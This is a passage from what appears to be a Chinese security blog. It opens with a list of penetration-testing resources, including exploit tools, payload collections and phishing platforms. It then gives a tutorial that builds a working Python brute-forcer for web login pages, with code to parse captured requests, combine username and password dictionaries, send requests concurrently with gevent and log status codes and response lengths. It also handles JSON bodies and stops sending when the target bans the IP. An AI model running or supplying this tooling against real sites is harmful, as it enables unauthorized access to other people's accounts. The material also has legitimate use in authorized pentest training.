href="https://github.com/l3m0n/pentest_study">https://github.com/l3m0n/pentest_study</a></p><h4 id="ffffffff0x-团队维护的安全知识框架-内容包括不仅限于-web安全、工控安全、取证、应急、蓝队设施部署、后渗透、Linux安全、各类靶机writup"><a href="#ffffffff0x-团队维护的安全知识框架-内容包括不仅限于-web安全、工控安全、取证、应急、蓝队设施部署、后渗透、Linux安全、各类靶机writup" class="headerlink" title="ffffffff0x 团队维护的安全知识框架,内容包括不仅限于 web安全、工控安全、取证、应急、蓝队设施部署、后渗透、Linux安全、各类靶机writup"></a>ffffffff0x 团队维护的安全知识框架,内容包括不仅限于 web安全、工控安全、取证、应急、蓝队设施部署、后渗透、Linux安全、各类靶机writup</h4><p><a href="https://github.com/ffffffff0x/1earn">https://github.com/ffffffff0x/1earn</a></p><h4 id="网络安全-AI"><a href="#网络安全-AI" class="headerlink" title="网络安全+AI"></a>网络安全+AI</h4><p><a href="https://github.com/jivoi/awesome-ml-for-cybersecurity">https://github.com/jivoi/awesome-ml-for-cybersecurity</a></p><h4 id="安全思维导图集合"><a href="#安全思维导图集合" class="headerlink" title="安全思维导图集合"></a>安全思维导图集合</h4><p><a href="https://github.com/SecWiki/sec-chart">https://github.com/SecWiki/sec-chart</a></p><h2 id="plugin"><a href="#plugin" class="headerlink" title="plugin"></a>plugin</h2><h4 id="cel"><a href="#cel" class="headerlink" title="cel"></a>cel</h4><p>轻松的进行逻辑运算</p><p><a href="https://github.com/google/cel-spec">https://github.com/google/cel-spec</a></p><h4 id="扫描器Awvs-11和Nessus-7-Api利用脚本"><a href="#扫描器Awvs-11和Nessus-7-Api利用脚本" class="headerlink" title="扫描器Awvs 11和Nessus 7 Api利用脚本"></a>扫描器Awvs 11和Nessus 7 Api利用脚本</h4><p><a href="https://github.com/se55i0n/Awvs_Nessus_Scanner_API">https://github.com/se55i0n/Awvs_Nessus_Scanner_API</a></p><h4 id="BugRepoter-0x727-自动化编写报告平台-根据安全团队定制化协同管理项目安全,可快速查找历史漏洞,批量导出报告。"><a href="#BugRepoter-0x727-自动化编写报告平台-根据安全团队定制化协同管理项目安全,可快速查找历史漏洞,批量导出报告。" class="headerlink" title="BugRepoter_0x727(自动化编写报告平台)根据安全团队定制化协同管理项目安全,可快速查找历史漏洞,批量导出报告。"></a>BugRepoter_0x727(自动化编写报告平台)根据安全团队定制化协同管理项目安全,可快速查找历史漏洞,批量导出报告。</h4><p><a href="https://github.com/0x727/BugRepoter_0x727">https://github.com/0x727/BugRepoter_0x727</a></p><h4 id="调用-chrome-对指定url截图"><a href="#调用-chrome-对指定url截图" class="headerlink" title="调用 chrome 对指定url截图"></a>调用 chrome 对指定url截图</h4><p><a href="https://github.com/sensepost/gowitness">https://github.com/sensepost/gowitness</a></p><h4 id="FOFA-Pro-view-是一款FOFA-Pro-资产展示浏览器插件,目前兼容-Chrome、Firefox、Opera。"><a href="#FOFA-Pro-view-是一款FOFA-Pro-资产展示浏览器插件,目前兼容-Chrome、Firefox、Opera。" class="headerlink" title="FOFA Pro view 是一款FOFA Pro 资产展示浏览器插件,目前兼容 Chrome、Firefox、Opera。"></a>FOFA Pro view 是一款FOFA Pro 资产展示浏览器插件,目前兼容 Chrome、Firefox、Opera。</h4><p><a href="https://github.com/fofapro/fofa_view">https://github.com/fofapro/fofa_view</a></p><h4 id="cobaltstrike的相关资源汇总"><a href="#cobaltstrike的相关资源汇总" class="headerlink" title="cobaltstrike的相关资源汇总"></a>cobaltstrike的相关资源汇总</h4><p><a href="https://github.com/zer0yu/Awesome-CobaltStrike">https://github.com/zer0yu/Awesome-CobaltStrike</a></p><h2 id="exploit"><a href="#exploit" class="headerlink" title="exploit"></a>exploit</h2><h4 id="webcrack"><a href="#webcrack" class="headerlink" title="webcrack"></a>webcrack</h4><p>WebCrack是一款web后台弱口令/万能密码批量检测工具,在工具中导入后台地址即可进行自动化检测。</p><p><a href="https://github.com/yzddmr6/WebCrack">https://github.com/yzddmr6/WebCrack</a></p><h4 id="Intranet-pentesting-tool-with-webui-开源图形化内网渗透工具"><a href="#Intranet-pentesting-tool-with-webui-开源图形化内网渗透工具" class="headerlink" title="Intranet pentesting tool with webui 开源图形化内网渗透工具"></a>Intranet pentesting tool with webui 开源图形化内网渗透工具</h4><p><a href="https://github.com/FunnyWolf/Viper">https://github.com/FunnyWolf/Viper</a></p><h4 id="A-proof-of-concept-tool-for-generating-payloads-that-exploit-unsafe-Java-object-deserialization"><a href="#A-proof-of-concept-tool-for-generating-payloads-that-exploit-unsafe-Java-object-deserialization" class="headerlink" title="A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization."></a>A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.</h4><p><a href="https://github.com/frohoff/ysoserial">https://github.com/frohoff/ysoserial</a></p><h4 id="一款适用于以HW行动-红队-渗透测试团队为场景的移动端-Android、iOS、WEB、H5、静态网站-信息收集扫描工具"><a href="#一款适用于以HW行动-红队-渗透测试团队为场景的移动端-Android、iOS、WEB、H5、静态网站-信息收集扫描工具" class="headerlink" title="一款适用于以HW行动/红队/渗透测试团队为场景的移动端(Android、iOS、WEB、H5、静态网站)信息收集扫描工具"></a>一款适用于以HW行动/红队/渗透测试团队为场景的移动端(Android、iOS、WEB、H5、静态网站)信息收集扫描工具</h4><p>可以帮助渗透测试工程师、攻击队成员、红队成员快速收集到移动端或者静态WEB站点中关键的资产信息并提供基本的信息输出,如:Title、Domain、CDN、指纹信息、状态信息等</p><p><a href="https://github.com/kelvinBen/AppInfoScanner">https://github.com/kelvinBen/AppInfoScanner</a></p><h4 id="Next-Generation-Linux-Kernel-Exploit-Suggester"><a href="#Next-Generation-Linux-Kernel-Exploit-Suggester" class="headerlink" title="Next-Generation Linux Kernel Exploit Suggester"></a>Next-Generation Linux Kernel Exploit Suggester</h4><p><a href="https://github.com/jondonas/linux-exploit-suggester-2">https://github.com/jondonas/linux-exploit-suggester-2</a></p><h4 id="window-redis-命令执行"><a href="#window-redis-命令执行" class="headerlink" title="window redis 命令执行"></a>window redis 命令执行</h4><p>可在Windows下执行系统命令的Redis模块,可用于Redis主从复制攻击。</p><p><a href="https://github.com/0671/RedisModules-ExecuteCommand-for-Windows">https://github.com/0671/RedisModules-ExecuteCommand-for-Windows</a></p><h4 id="CDK是一款为容器环境定制的渗透测试工具"><a href="#CDK是一款为容器环境定制的渗透测试工具" class="headerlink" title="CDK是一款为容器环境定制的渗透测试工具"></a>CDK是一款为容器环境定制的渗透测试工具</h4><p>CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。</p><p><a href="https://github.com/cdk-team/CDK">https://github.com/cdk-team/CDK</a></p><h4 id="WordPress漏扫"><a href="#WordPress漏扫" class="headerlink" title="WordPress漏扫"></a>WordPress漏扫</h4><p><a href="https://github.com/wpscanteam/wpscan">https://github.com/wpscanteam/wpscan</a></p><h4 id="微信小程序反编译"><a href="#微信小程序反编译" class="headerlink" title="微信小程序反编译"></a>微信小程序反编译</h4><p><a href="https://github.com/xuedingmiaojun/wxappUnpacker">https://github.com/xuedingmiaojun/wxappUnpacker</a></p><h4 id="shiro支持对Shiro550(硬编码秘钥)和Shiro721(Padding-Oracle)的一键化检测,支持多种回显方式"><a href="#shiro支持对Shiro550(硬编码秘钥)和Shiro721(Padding-Oracle)的一键化检测,支持多种回显方式" class="headerlink" title="shiro支持对Shiro550(硬编码秘钥)和Shiro721(Padding Oracle)的一键化检测,支持多种回显方式"></a>shiro支持对Shiro550(硬编码秘钥)和Shiro721(Padding Oracle)的一键化检测,支持多种回显方式</h4><p><a href="https://github.com/feihong-cs/ShiroExploit-Deprecated">https://github.com/feihong-cs/ShiroExploit-Deprecated</a></p><h4 id="A-list-of-useful-payloads-and-bypass-for-Web-Application-Security-and-Pentest-CTF"><a href="#A-list-of-useful-payloads-and-bypass-for-Web-Application-Security-and-Pentest-CTF" class="headerlink" title="A list of useful payloads and bypass for Web Application Security and Pentest/CTF"></a>A list of useful payloads and bypass for Web Application Security and Pentest/CTF</h4><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings">https://github.com/swisskyrepo/PayloadsAllTheThings</a></p><h4 id="socks代理"><a href="#socks代理" class="headerlink" title="socks代理"></a>socks代理</h4><p><a href="https://github.com/sensepost/reGeorg">https://github.com/sensepost/reGeorg</a></p><h4 id="Android漏洞工具集"><a href="#Android漏洞工具集" class="headerlink" title="Android漏洞工具集"></a>Android漏洞工具集</h4><p><a href="https://github.com/Juude/droidReverse">https://github.com/Juude/droidReverse</a></p><h4 id="AI分析恶意代码"><a href="#AI分析恶意代码" class="headerlink" title="AI分析恶意代码"></a>AI分析恶意代码</h4><p><a href="https://github.com/oasiszrz/XAIGen">https://github.com/oasiszrz/XAIGen</a></p><h2 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h2><h4 id="api"><a href="#api" class="headerlink" title="api"></a>api</h4><p>ceye,io.</p><p>fofa</p><p>hunter</p><p>quake</p><p>zoomeye</p><p>shodan</p><p><a href="https://haveibeenpwned.com/">https://haveibeenpwned.com/</a></p><p><a href="https://www.reg007.com/">https://www.reg007.com/</a></p><p><a href="https://github.com/se55i0n/Awvs_Nessus_Scanner_API">https://github.com/se55i0n/Awvs_Nessus_Scanner_API</a></p><h4 id="Gophish"><a href="#Gophish" class="headerlink" title="Gophish"></a>Gophish</h4><p>Go语言编写的一款钓鱼平台</p><p><a href="https://github.com/gophish/gophish/">https://github.com/gophish/gophish/</a></p><h4 id="pricking"><a href="#pricking" class="headerlink" title="pricking"></a>pricking</h4><p><a href="https://github.com/Rvn0xsy/Pricking">Pricking</a> 是一个自动化部署水坑和网页钓鱼的项目</p><p><a href="https://github.com/Rvn0xsy/Pricking">https://github.com/Rvn0xsy/Pricking</a></p><h2 id="fuzz"><a href="#fuzz" class="headerlink" title="fuzz"></a>fuzz</h2><p><a href="https://github.com/AFLplusplus/AFLplusplus">https://github.com/AFLplusplus/AFLplusplus</a></p><h2 id="other"><a href="#other" class="headerlink" title="other"></a>other</h2><h4 id="fq"><a href="#fq" class="headerlink" title="fq"></a>fq</h4><p><a href="https://github.com/freefq/free">https://github.com/freefq/free</a></p><p><a href="https://github.com/ugvf2009/Miles">https://github.com/ugvf2009/Miles</a></p><h4 id="INSTALL-openvpn"><a href="#INSTALL-openvpn" class="headerlink" title="INSTALL openvpn"></a>INSTALL openvpn</h4><p><a href="https://github.com/Nyr/openvpn-install">https://github.com/Nyr/openvpn-install</a></p><h4 id="代码分析引擎-CodeQL"><a href="#代码分析引擎-CodeQL" class="headerlink" title="代码分析引擎 CodeQL"></a>代码分析引擎 CodeQL</h4><p><a href="https://codeql.github.com/">https://codeql.github.com/</a></p><p><em><!-- more --></em> </p>]]></content>
<categories>
<category> 杂项 </category>
</categories>
</entry>
<entry>
<title>web页面密码爆破</title>
<link href="/2022/01/11/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/web%E9%A1%B5%E9%9D%A2%E5%AF%86%E7%A0%81%E7%88%86%E7%A0%B4/"/>
<url>/2022/01/11/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/web%E9%A1%B5%E9%9D%A2%E5%AF%86%E7%A0%81%E7%88%86%E7%A0%B4/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="一-工具介绍-amp-分析"><a href="#一-工具介绍-amp-分析" class="headerlink" title="一.工具介绍&分析"></a>一.工具介绍&分析</h2><h3 id="工具使用"><a href="#工具使用" class="headerlink" title="工具使用"></a>工具使用</h3><h3 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h3><p>首先带有验证码、以及密码前端加密的登录页面先不做讨论。</p><p>常规的密码爆破为: </p><blockquote><p>页面输入用户名密码-> burpsuite 抓包-> 标记要爆破的位置-> 导入字典 -> 开始爆破 -> 分析数据包是否爆破成功</p></blockquote><p> 虽然整个流程大部分都可通过脚本进行实现,但关键的 <strong>标记要爆破的位置</strong> 却很难实现,这需要去考虑其提交的表单参数中,哪个是用户名,哪个是密码且两者不能颠倒。</p><p> 因此目前来看,完全的自动化只能处理一部分很“标准化”的登录框,比如页面只有一个表单,且用户名中包含user ,密码中包含password,这种页面通过正则表达式可以很容易实现完全的自动化,awvs都内置这种简单的弱口令自动检测</p><p><img src="/2022/01/11/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/web%E9%A1%B5%E9%9D%A2%E5%AF%86%E7%A0%81%E7%88%86%E7%A0%B4/image-20230927205245770.png" alt="image-20230927205245770"></p><p>网上也有大佬编写的现成的工具。</p><p><a href="https://github.com/yzddmr6/WebCrack">https://github.com/yzddmr6/WebCrack</a></p><p> 但这种方式并不能覆盖全部的网页,较为复杂的网页登录框还是需要<strong>人为</strong>的进行筛选、标记参数,进行一种半自动化的爆破。</p><ol><li>登录框输入固定的标记:如用户名为qwrdxeradmin,密码为qwrdxerpassword,这两个参数固定,且数据包中不能有同样的字段出现。</li><li>抓包,保存</li><li>使用工具匹配到数据包中用户名和密码的位置 ,用字典替换内容,发送数据包</li><li>保存请求和响应的三个关键数据 : 字典值、状态码、响应数据包大小。</li></ol><p><em><span id="more"></span></em> </p><p> 综上,目前实现的脚本需要实现以下功能:</p><ol><li>爆破用户名 和爆破密码可自定义,默认使用10个常用用户名+3000字典(也就是每个url需要发送30000个数据包)</li><li>如果指定爆破密码或用户名,可选择使用较大的字典。</li><li>对每个请求的响应数据包进行 分析,保留关键数据。</li></ol><h2 id="二-功能实现"><a href="#二-功能实现" class="headerlink" title="二.功能实现"></a>二.功能实现</h2><h3 id="1-数据包的获取"><a href="#1-数据包的获取" class="headerlink" title="1. 数据包的获取"></a>1. 数据包的获取</h3><p> 因为数据包是在burp中复制的,因此最好能直接解析文本格式的数据包,然后在数据包中用户名或密码位置填入数据,发送数据包。</p><p> 这篇文章给了一个很好的思路:<a href="https://blog.csdn.net/haoren_xhf/article/details/104937390">https://blog.csdn.net/haoren_xhf/article/details/104937390</a></p><ol><li>读入数据包</li><li>在数据包中,第一行有三个重要的信息: 请求的方法(POST / GET ,一般为POST提交)、请求的目录 、请求的HTTP协议版本,因此对第一行数据可读入请求的类型。</li><li>后续行中,大部分为请求头信息,不做修改直接读入即可。</li><li>POST提交中,最后一行为POST提交的数据,也就是用户名密码 ,我们需要在这里填入字典,重新发送数据。</li></ol><pre><code class="http">POST /fileadmin/index.php? HTTP/1.1Host: 123.345.567.123User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 35Connection: closeCookie: PHPSESSID=qkivqmbgbiomaum26df44ucsv4Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1username=admin123&password=admin123</code></pre><p>然后分析一下文章中的关键代码</p><pre><code class="python">import requests, urllib3import sys, osurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)# 禁用https协议报错def sender(content, allowredirect=True): method = 'get' url = '' headers = {} correct = True data = '' lines = content.strip().split('\n') for key, line in enumerate(lines): if key == 0: # 第一行数据需要单独处理,获取请求头数据 tmp = line.strip().split() if len(tmp) != 3: print('第一行错误 ' + line) correct = False break method = tmp[0].lower() # 这里获取到请求是POST或是GET url = tmp[1] elif method == 'post' and key == len(lines) - 1:# 最后一行数据为POST提交的数据,进行单独的处理 data = line.strip() elif line: # 其他行尾请求头数据,统一处理即可 tmp = line.strip().split(':') if len(tmp) < 2: correct = False print('headers error ' + line) break tmp[1] = tmp[1].strip() headers[tmp[0].lower()] = ':'.join(tmp[1:]) if correct: if not url.startswith('http:') and not url.startswith('https:'): url = 'http://' + headers.get('host') + url return requests.request(**{ 'url': url, 'data': data, 'verify': False, 'method': method, 'headers': headers, 'allow_redirects': allowredirect, })content = '''POST /fileadmin/index.php? HTTP/1.1Host: 123.345.567.123User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 35Connection: closeCookie: PHPSESSID=qkivqmbgbiomaum26df44ucsv4Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1username=admin123&password=admin123'''print(sender(content).text)</code></pre><h3 id="2-修改数据包中要爆破的参数-生成payload"><a href="#2-修改数据包中要爆破的参数-生成payload" class="headerlink" title="2.修改数据包中要爆破的参数,生成payload"></a>2.修改数据包中要爆破的参数,生成payload</h3><p> 文中代码是重新发送数据包,但要爆破密码,需要对数据包中POST提交的数据进行修改。 </p><p> 因此需要定义一个如下函数,第一个参数为封装好的数据包,第二个参数为POST提交的数据、后续需要对数据进行字典替换、后面两个决定是否爆破用户名或密码。</p><p> 中间过程为字典替换,发送数据包,记录payload 、响应数据包中状态码、响应数据包长度。</p><pre><code class="python">def enumerator(package,data,username=False,password=True) ... return status_code payload length</code></pre><p> 具体实现代码如下:</p><blockquote><p>字典替换: </p><p>也即是在数据包中最后一行</p><p>username=qwrdxername&password=qwrdxername</p><p>我们要将其中的qwrdxername和qwrdxername 进行字典替换,</p></blockquote><pre><code class="python">def generate_payload(usernameandpassowrd="yonghuming=qwrdxername&mima=qwrdxerpasswd&session=DAWAWRFWAFAWEDF&test=testets"): tmpvar=usernameandpassowrd.split("&") #临时存储用户名和密码 payloadlist=[] tmpdic={} user="" passwd="" payloadtemple="" for i in tmpvar:#在post提交表单中可能有其他数据,因此现将键值对存入字典中,然后将username和passwd提出来 print(i) tmpdic[i.split('=')[1]]=i.split('=')[0] print(tmpdic) # 获取到两个表单中的参数名 user=tmpdic['qwrdxername'] passwd=tmpdic['qwrdxerpasswd'] del tmpdic['qwrdxername'] del tmpdic['qwrdxerpasswd'] # 生成payload for i in tmpdic.keys():# 除用户名密码外其他固定参数装入payload中 payloadtemple+=tmpdic[i]+"="+i+"&" for username in open("dictionary/username.txt","r",encoding='UTF-8-sig'): for password in open("dictionary/password.txt", "r",encoding='UTF-8-sig'): if payloadtemple!="": payloadlist.append(payloadtemple+"&"+user+"="+username.strip()+"&"+passwd+"="+password.strip()) else: payloadlist.append(user + "=" + username.strip() + "&" + passwd + "=" + password.strip()) return payloadlist</code></pre><h3 id="3-多线程发送数据包"><a href="#3-多线程发送数据包" class="headerlink" title="3.多线程发送数据包"></a>3.多线程发送数据包</h3><p>至此主体已实现</p><pre><code class="python">for i in payload: send_request(url,i,headers,method) def send_request(url,payload,headers,method): #发送数据包 resp=requests.request(**{ 'url': url, 'data': payload, 'verify': False, 'method': method, 'headers': headers, 'allow_redirects': True, # 'proxies':{"http": "http://127.0.0.1:8888", "https": "http://127.0.0.1:8888"} }) print(payload,resp.status_code,len(resp.text))</code></pre><p><img src="/2022/01/11/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/web%E9%A1%B5%E9%9D%A2%E5%AF%86%E7%A0%81%E7%88%86%E7%A0%B4/image-20230927205257969.png" alt="image-20230927205257969"></p><p>但发送速度过于缓慢,几个用户名+ 千级别字典,一个目标就需要几十分钟乃至几个小时。</p><p>需要对发包进行改进,进行多线程发包。百度翻阅一下,gevent库是个不错的选择</p><p><img src="/2022/01/11/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/web%E9%A1%B5%E9%9D%A2%E5%AF%86%E7%A0%81%E7%88%86%E7%A0%B4/image-20230927205303930.png" alt="image-20230927205303930"></p><p>如下图,使用多线程发送了九个数据包,可见速度提升很大</p><p><img src="/2022/01/11/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/web%E9%A1%B5%E9%9D%A2%E5%AF%86%E7%A0%81%E7%88%86%E7%A0%B4/image-20230927205307895.png" alt="image-20230927205307895"></p><p>发送100个数据包,输出如下</p><pre><code class="shell">使用gevent该循环程序运行时间: 1.4333410263061523使用普通for循环该循环程序运行时间: 78.70576453208923</code></pre><p>最初版本核心代码如下:</p><pre><code class="python">import geventfrom gevent import socketfrom gevent import monkeymonkey.patch_all() # 加上这个补丁瞬间变快了 - -url, payloads, headers, method = generate_param(content) #上文中生成payload的代码jobs=[]begin_time = time()for payload in payloads: jobs.append(gevent.spawn(send_request, url, payload, headers, method))gevent.joinall(jobs, timeout=5)#发送数据包def send_request(url,payload,headers,method): #发送数据包 resp=requests.request(**{ 'url': url, 'data': payload, 'verify': False, 'method': method, 'headers': headers, 'allow_redirects': True, # 'proxies':{"http": "http://127.0.0.1:8888", "https": "http://127.0.0.1:8888"} }) print(payload,resp.status_code,len(resp.text))</code></pre><p>程序获取到payload列表以及其他参数后,使用for循环遍历payloads,为每一个payload分配一个 send_request的job ,然后调用gevent.joinall ,他会自动调用这些job。</p><p>在vps上运行,感觉还不错</p><p><img src="/2022/01/11/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/web%E9%A1%B5%E9%9D%A2%E5%AF%86%E7%A0%81%E7%88%86%E7%A0%B4/image-20220112170919713.png" alt="image-20220112170919713"></p><p>然后就是限制一下并发运行数,防止目标宕机。</p><p>百度到了这篇文章,<a href="https://blog.csdn.net/u012206617/article/details/108059173">https://blog.csdn.net/u012206617/article/details/108059173</a></p><p>也就是说可以通过gevent.pool 里面的Pool类来实现。</p><p>修改部分代码如下</p><pre><code class="python">from gevent.pool import Pool# 导入类p = Pool(2) # 创建一个Pool对象,参数为最大并发的携程数for payload in payloads: print(payload) # 在添加job时,使用的是p对象 jobs.append(p.spawn(send_request, url, payload, headers, method)) # 正常启动即可gevent.joinall(jobs, timeout=5)</code></pre><p>测试发包时间如下:</p><pre><code class="python">Pool(2) 2用户名X 100密码该循环程序运行时间: 58.2290563583374Pool(5) 2用户名X 100密码该循环程序运行时间: 23.66639494895935Pool(10) 2用户名X 100密码该循环程序运行时间: 11.918724298477173</code></pre><p>设置成5~10个左右就可以了</p><h3 id="4-保存结果到文件中"><a href="#4-保存结果到文件中" class="headerlink" title="4. 保存结果到文件中"></a>4. 保存结果到文件中</h3><p><img src="/2022/01/11/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/web%E9%A1%B5%E9%9D%A2%E5%AF%86%E7%A0%81%E7%88%86%E7%A0%B4/image-20220112205300007.png" alt="image-20220112205300007"></p><p>在burpsuite 爆破中,我们主要关注的是Payload 、状态码、响应长度, 因此在代码中要实现的是结果保存、具有排序功能。</p><p>因此可以保存到Excel表格中,方便排序。</p><p><strong>关键点在于: 并发的请求如何写入同一个文件中</strong></p><p>两种思路:</p><p>方法一: 创建一个列表变量存储结果,引入 锁,同一时间只能有一个协程访问该列表</p><p>方法二: 每一个数据包保存为一个文件,在全部请求结束后,单独调用一个函数来将这些文件整合到一起。</p><p>感觉方法一好一点,gevent的锁在gevent.lock里,对发送数据包函数进行 修改如下。</p><pre><code class="python">def sender(url,payloads,headers,method): sem = BoundedSemaphore(1) #锁 result=[] jobs = [] p = Pool(10) for payload in payloads: print(payload) jobs.append(p.spawn(send_request, url, payload, headers, method,result,sem)) gevent.joinall(jobs, timeout=5) print(len(result))def send_request(url,payload,headers,method,result,sem): #发送数据包 resp=requests.request(**{ 'url': url, 'data': payload, 'verify': False, 'method': method, 'headers': headers, 'allow_redirects': True, # 'proxies':{"http": "http://127.0.0.1:8888", "https": "http://127.0.0.1:8888"} }) sem.acquire() result.append([payload,resp.status_code,len(resp.text)]) sem.release()</code></pre><p>sender函数用于发送数据包,</p><p>首先创建一个锁sem = BoundedSemaphore(1) , 参数为1 意味着同一时间只能有一个协程获得锁</p><p>result列表用于记录结果</p><p>send_reques函数最后两个参数为锁和用于结果保存的变量,请求完成之后会将关键信息写入result中,为了防止多协程访问导致变量异常,引入了锁。</p><pre><code>sem.acquire()result.append([payload,resp.status_code,len(resp.text)])sem.release()</code></pre><p><img src="/2022/01/11/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/web%E9%A1%B5%E9%9D%A2%E5%AF%86%E7%A0%81%E7%88%86%E7%A0%B4/image-20220112213910373.png" alt="image-20220112213910373"></p><p>然后是创建一个函数保存结果到文件中。</p><pre><code class="python">import csvdef savecsv(result): f = open('222.csv', 'w') writer = csv.writer(f) for i in result: writer.writerow(i) f.close()</code></pre><p><img src="/2022/01/11/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/web%E9%A1%B5%E9%9D%A2%E5%AF%86%E7%A0%81%E7%88%86%E7%A0%B4/image-20220112231551862.png" alt="image-20220112231551862"></p><p>成功</p><h3 id="5-优化用户交互-amp-代码优化"><a href="#5-优化用户交互-amp-代码优化" class="headerlink" title="5. 优化用户交互 & 代码优化"></a>5. 优化用户交互 & 代码优化</h3><p>从使用的角度来看,需要支持以下功能</p><pre><code class="shell">python xxx.py 直接运行,会对存放目录的数据包进行批量检测。-p password.txt 可以指定自定义字典。-u username.txt 可以指定用户名字典。输出结果的文件为指定IP+文件后缀。进程控制:可以指定协程的数量( 默认为5)。错误控制: 如数据包中没找到用户名和密码字段,会直接报错,退出程序。</code></pre><p>获取用户参数代码如下</p><pre><code class="python">import argparsedef parser(): parser = argparse.ArgumentParser() parser.description = '可指定用户名和密码字典、线程数量' parser.add_argument("-t", "--thread", help="指定协程数,默认为5", dest="tnum", type=int, default="5") parser.add_argument("-p", "--password", help="指定自定义字典路径", dest="ppath", type=str, default="dictionary/password.txt") args = parser.parse_args() return args</code></pre><h2 id="三-后续优化"><a href="#三-后续优化" class="headerlink" title="三.后续优化"></a>三.后续优化</h2><h3 id="1-JSON格式传输数据"><a href="#1-JSON格式传输数据" class="headerlink" title="1. JSON格式传输数据"></a>1. JSON格式传输数据</h3><p>实际测试中有一部分目标使用的是JSON格式传输,其数据字段如下</p><pre><code class="shell">{"code":"admin","password":"123456","referer":"index.html"}</code></pre><p>尝试使用字符串的replace方法来进行payload生成、</p><pre><code class="python"># 因为有的数据是通过JSON传输的,因此考虑使用正则匹配def generate_payload_v2(usernameandpassowrd="yonghuming=qwrdxername&mima=qwrdxerpasswd&session=DAWAWRFWAFAWEDF&test=testets"): payloadlist=[] for username in open("dictionary/username.txt","r",encoding='UTF-8-sig'): for password in open("dictionary/password.txt", "r",encoding='UTF-8-sig'): tmp=usernameandpassowrd tmp2=tmp.replace("qwrdxername",username.strip()) tmp3=tmp2.replace("qwrdxerpassword",password.strip()) payloadlist.append(tmp3) print("payload个数为:%d"%len(payloadlist)) return payloadlist</code></pre><p><img src="/2022/01/11/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/web%E9%A1%B5%E9%9D%A2%E5%AF%86%E7%A0%81%E7%88%86%E7%A0%B4/image-20220113105029956.png" alt="image-20220113105029956"></p><p>性能居然提升了。</p><h3 id="2-被ban-IP的问题"><a href="#2-被ban-IP的问题" class="headerlink" title="2.被ban IP的问题"></a>2.被ban IP的问题</h3><p>实际应用中。测试了一个目标,扫描太快被封禁了,但那几千个协程还是要执行啊, 每一个等待5秒肯定不行的</p><p>需求: 如果目标返回无法建立连接,将gevent创建的所有协程kill掉</p><pre><code class="python">requests.exceptions.ConnectionError: HTTPConnectionPool(host='', port=80): Max retries exceeded with url: </code></pre><p> 用到gevent.killall 来关闭</p><p>对发包代码修改如下</p><pre><code class="python">def send_request(url,payload,headers,method,result,sem): try: resp = requests.request(**{ 'url': url, 'data': payload, 'verify': False, 'method': method, 'headers': headers, 'allow_redirects': True, # 'proxies':{"http": "http://127.0.0.1:8888", "https": "http://127.0.0.1:8888"} }) # 好像不加锁也不会报错,疑惑 sem.acquire() result.append([payload, resp.status_code, len(resp.text)]) sem.release() except requests.exceptions.ConnectionError: print("已被目标IP封")</code></pre><p>经测试,以上方法行不通,问题可能出现在for循环,</p><p>另一种思路: 引入一个控制信号量 controller </p><ol><li>协程发包前检查这个变量,若值为1,不发包退出。</li><li>若值为0,进行发包操作。</li><li>如果发包过程中产生了异常,设置这个信号量为1 。</li></ol><p>在python中没有指针,用列表记录信号量</p><pre><code class="python">def send_request(url,payload,headers,method,result,sem,controller): try: if controller[0]==1:# 若值为1,不发包退出。 print("目标已down") return resp = requests.request(**{ 'url': url, 'data': payload, 'verify': False, 'method': method, 'headers': headers, 'allow_redirects': True, # 'proxies':{"http": "http://127.0.0.1:8888", "https": "http://127.0.0.1:8888"} }) # 好像不加锁也不会报错,疑惑 sem.acquire() result.append([payload, resp.status_code, len(resp.text)]) sem.release() except requests.exceptions.ConnectionError: print("已被目标IP封") controller[0]=1#如果发包过程中产生了异常,设置这个信号量为1 。</code></pre><p>基本完成了功能需求</p><h3 id="3-输出结果优化"><a href="#3-输出结果优化" class="headerlink" title="3. 输出结果优化"></a>3. 